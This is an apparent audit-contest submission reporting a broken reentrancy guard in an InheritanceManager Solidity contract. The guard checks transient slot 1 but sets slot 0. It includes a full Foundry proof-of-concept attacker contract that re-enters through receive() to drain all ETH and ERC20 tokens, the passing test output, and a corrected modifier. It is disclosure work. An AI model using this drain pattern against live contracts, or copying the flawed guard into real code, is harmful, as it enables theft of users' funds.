Submission Details
Severity:
Broken Reentrancy Guard Allowing Multi-Asset Sweep
Summary
The nonReentrant modifier fails to properly protect against reentrancy due to a storage slot mismatch, allowing multiple assets to be drained in a single transaction.
Vulnerability Details
The reentrancy guard checks and sets different transient storage slots:
modifier nonReentrant() {
assembly {
if tload(1) { revert(0, 0) } // Checks slot 1
tstore(0, 1) // Sets slot 0
}
_;
assembly {
tstore(0, 0) // Clears slot 0
}
}
This allows nested calls to functions protected by the nonReentrant modifier because the check and set operations act on different slots.
POC
Our POC confirms that once an attacker has gained ownership (e.g., through the single beneficiary vulnerability), they can drain all ETH and ERC20 tokens in a single transaction
create fresh test file as given below:
// SPDX-License-Identifier: MIT
import {Test, console} from "forge-std/Test.sol";
import {InheritanceManager} from "../src/InheritanceManager.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
/**
* @title ReentrancyBeneficiaryAttacker
* @dev Contract that exploits the broken reentrancy guard after becoming owner
*/
contract ReentrancyBeneficiaryAttacker {
InheritanceManager public im;
ERC20Mock[] public tokens;
bool public attackMode = false;
constructor(address _im) {
im = InheritanceManager(_im);
}
function addToken(address token) external {
tokens.push(ERC20Mock(token));
}
// Step 1: Become the owner through inherit()
function executeInherit() external {
im.inherit();
console.log("Inheritance complete - am I the owner?", im.getOwner() == address(this));
}
// Step 2: Start the attack to sweep all assets in one transaction
function sweepAllFunds() external {
require(im.getOwner() == address(this), "Not owner yet");
attackMode = true;
// Send all ETH to this contract, which will trigger receive() and continue the attack
uint256 ethBalance = address(im).balance;
console.log("Starting attack - ETH balance to sweep:", ethBalance / 1e18, "ETH");
// This will trigger our receive function, which will then sweep tokens
if (ethBalance > 0) {
im.sendETH(ethBalance, address(this));
} else {
// If no ETH, directly sweep tokens
sweepTokens();
}
attackMode = false;
}
// This is called when receiving ETH during the attack
receive() external payable {
if (attackMode) {
console.log("Received ETH:", msg.value / 1e18, "ETH");
// Now sweep all ERC20 tokens in the same transaction
sweepTokens();
}
}
// Helper to sweep all tokens
function sweepTokens() internal {
console.log("Sweeping tokens...");
for (uint i = 0; i < tokens.length; i++) {
ERC20Mock token = tokens[i];
uint256 balance = token.balanceOf(address(im));
if (balance > 0) {
console.log("Sweeping token balance:", balance / 1e18);
im.sendERC20(address(token), balance, address(this));
}
}
}
// Check balances
function getBalances() external view returns (uint256 ethBalance, uint256[] memory tokenBalances) {
ethBalance = address(this).balance;
tokenBalances = new uint256[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
tokenBalances[i] = tokens[i].balanceOf(address(this));
}
return (ethBalance, tokenBalances);
}
}
/**
* @title SingleBeneficiaryAttackTest
* @dev Tests the attack where a single beneficiary exploits reentrancy after inheritance
*/
contract SingleBeneficiaryAttackTest is Test {
InheritanceManager public im;
ReentrancyBeneficiaryAttacker public attacker;
ERC20Mock public token1;
ERC20Mock public token2;
address public owner = makeAddr("owner");
function setUp() public {
// Deploy the InheritanceManager
vm.prank(owner);
im = new InheritanceManager();
// Deploy attacker contract
attacker = new ReentrancyBeneficiaryAttacker(address(im));
// Deploy mock tokens
token1 = new ERC20Mock();
token2 = new ERC20Mock();
// Fund the InheritanceManager
vm.deal(address(im), 5 ether);
token1.mint(address(im), 1000 * 10**18); // 1000 tokens
token2.mint(address(im), 500 * 10**18); // 500 tokens
// Add tokens to attacker's tracking
attacker.addToken(address(token1));
attacker.addToken(address(token2));
// Add the attacker contract as the only beneficiary
vm.prank(owner);
im.addBeneficiery(address(attacker));
}
function testSingleBeneficiaryReentrancyAttack() public {
// Initial state
console.log("---- Initial State ----");
console.log("InheritanceManager ETH:", address(im).balance / 1e18, "ETH");
console.log("InheritanceManager Token1:", token1.balanceOf(address(im)) / 1e18, "tokens");
console.log("InheritanceManager Token2:", token2.balanceOf(address(im)) / 1e18, "tokens");
// Wait for inheritance period
vm.warp(block.timestamp + 91 days);
// Trigger the inheritance - attacker becomes owner
attacker.executeInherit();
// Verify attacker is now the owner
assertEq(im.getOwner(), address(attacker), "Attacker should be the new owner");
// Execute the attack to sweep all funds
attacker.sweepAllFunds();
// Check final state
console.log("---- Final State ----");
console.log("InheritanceManager ETH:", address(im).balance / 1e18, "ETH");
console.log("InheritanceManager Token1:", token1.balanceOf(address(im)) / 1e18, "tokens");
console.log("InheritanceManager Token2:", token2.balanceOf(address(im)) / 1e18, "tokens");
(uint256 attackerEth, uint256[] memory attackerTokens) = attacker.getBalances();
console.log("Attacker ETH:", attackerEth / 1e18, "ETH");
console.log("Attacker Token1:", attackerTokens[0] / 1e18, "tokens");
console.log("Attacker Token2:", attackerTokens[1] / 1e18, "tokens");
// Verify all funds were swept
assertEq(address(im).balance, 0, "All ETH should be drained");
assertEq(token1.balanceOf(address(im)), 0, "All Token1 should be drained");
assertEq(token2.balanceOf(address(im)), 0, "All Token2 should be drained");
// Verify attacker has all the funds
assertEq(attackerEth, 5 ether, "Attacker should have all ETH");
assertEq(attackerTokens[0], 1000 * 10**18, "Attacker should have all Token1");
assertEq(attackerTokens[1], 500 * 10**18, "Attacker should have all Token2");
}
}
Now when we run `forge test --mt testSingleBeneficiaryReentrancyAttack -vv we get following output, which confirms that reentrancyGaurd is useless at the moment.
[⠊] Compiling...
[⠑] Compiling 1 files with Solc 0.8.26
[⠘] Solc 0.8.26 finished in 702.51ms
Compiler run successful!
Ran 1 test for test/l.t.sol:SingleBeneficiaryAttackTest
[PASS] testSingleBeneficiaryReentrancyAttack() (gas: 178162)
Logs:
---- Initial State ----
InheritanceManager ETH: 5 ETH
InheritanceManager Token1: 1000 tokens
InheritanceManager Token2: 500 tokens
Inheritance complete - am I the owner? true
Starting attack - ETH balance to sweep: 5 ETH
Received ETH: 5 ETH
Sweeping tokens...
Sweeping token balance: 1000
Sweeping token balance: 500
---- Final State ----
InheritanceManager ETH: 0 ETH
InheritanceManager Token1: 0 tokens
InheritanceManager Token2: 0 tokens
Attacker ETH: 5 ETH
Attacker Token1: 1000 tokens
Attacker Token2: 500 tokens
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.33ms (1.56ms CPU time)
Ran 1 test suite in 159.13ms (7.33ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
This vulnerability allows an attacker with owner privileges to drain all contract assets in a single transaction, bypassing any monitoring or time-based protection systems.
Tools Used
Foundry
Recommendations
Here is the simple fix by checking correct slot -
modifier nonReentrant() {
assembly {
if tload(0) { revert(0, 0) } // Check slot 0
tstore(0, 1) // Set slot 0
}
_;
assembly {
tstore(0, 0) // Clear slot 0
}
}
Updates
Lead Judging Commences
0xtimefliez 3 months ago
Submission Judgement Published Assigned finding tags:
Wrong value in nonReentrant modifier
0xtimefliez 3 months ago
Submission Judgement Published Assigned finding tags:
Wrong value in nonReentrant modifier
Rewards breakdown
nSLOC
211This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.